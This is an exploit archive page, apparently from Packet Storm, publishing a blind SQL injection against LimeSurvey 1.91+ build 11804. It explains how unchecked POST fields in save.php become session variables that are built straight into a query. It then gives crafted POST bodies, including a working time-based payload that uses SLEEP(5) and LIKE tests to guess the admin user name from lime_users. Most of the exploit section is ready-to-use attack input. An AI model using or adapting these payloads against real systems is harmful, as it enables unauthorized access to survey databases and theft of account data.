exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Limesurvey Blind SQL Injection

Limesurvey Blind SQL Injection
Posted Feb 23, 2012
Authored by TorTukiTu

Limesurvey version 1.91+ build 11804 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | a05a205bc66f62b6b8a8af72b4b06574dbecf005baccaca06cda5243dad8d5a0

Limesurvey Blind SQL Injection

Change Mirror Download
# Exploit Title: LimeSurvey Blind SQL injection
# Date: 20/02/2012
# Author: TorTukiTu - OpenSphere
# Version: 1.91+ build 11804
# Tested on: php
{cke_protected}{C}{cke_protected}{C}
-------------------------------------------------------------------------
# TorTukiTu - Killing Tortoise
# ,-"""-.
# oo._/ \___/ \
# (____)_/___\__\_)
# /_// \\_\
#
# Cookie hacking + Blind SQL Injection
# The vulnerability occurs when a user answers a survey (index.php).
# The session variables can be freely hacked using the following lines in save.php l.82 :
# if (isset($_POST[$pf])) {$_SESSION[$pf] = $_POST[$pf];}
# if (!isset($_POST[$pf])) {$_SESSION[$pf] = "";}
# $pf is user input in the POST variable
# once splitted, SQL request is directly build from those sessions variable by function createinsertquery(),
# if a special Post variable 'srid' is set both in the variable
# 'fieldnames' and as simple POST variable (query l. 715 save.php).
# The user can realize blind SQL injections with specially crafted POST variables.
# Normal POST variables example:
fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003
MULTI17165X6X18=8
tbdisp17...
...
start_time=1329742665
# Craft POST variables like this :
fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C[VALID FIELD ID]` = [SQL INJECTION]--%7Csrid
MULTI17165X6X18=8
tbdisp17...
...
start_time=1329742665
srid=[SOME INTEGER]
#Example : Blind SQL user name guessing :
fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C17165X6X18SQ001` = NULL WHERE id=6 AND id IN ( SELECT IF ( (SELECT SUBSTRING(users_name,1) FROM lime_users WHERE uid=1) LIKE 'a%', 1, SLEEP(5)))--%7Csrid
MULTI17165X6X18=8
tbdisp17...
...
start_time=1329742665
srid=42
-------------------------------------------------------------------------

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close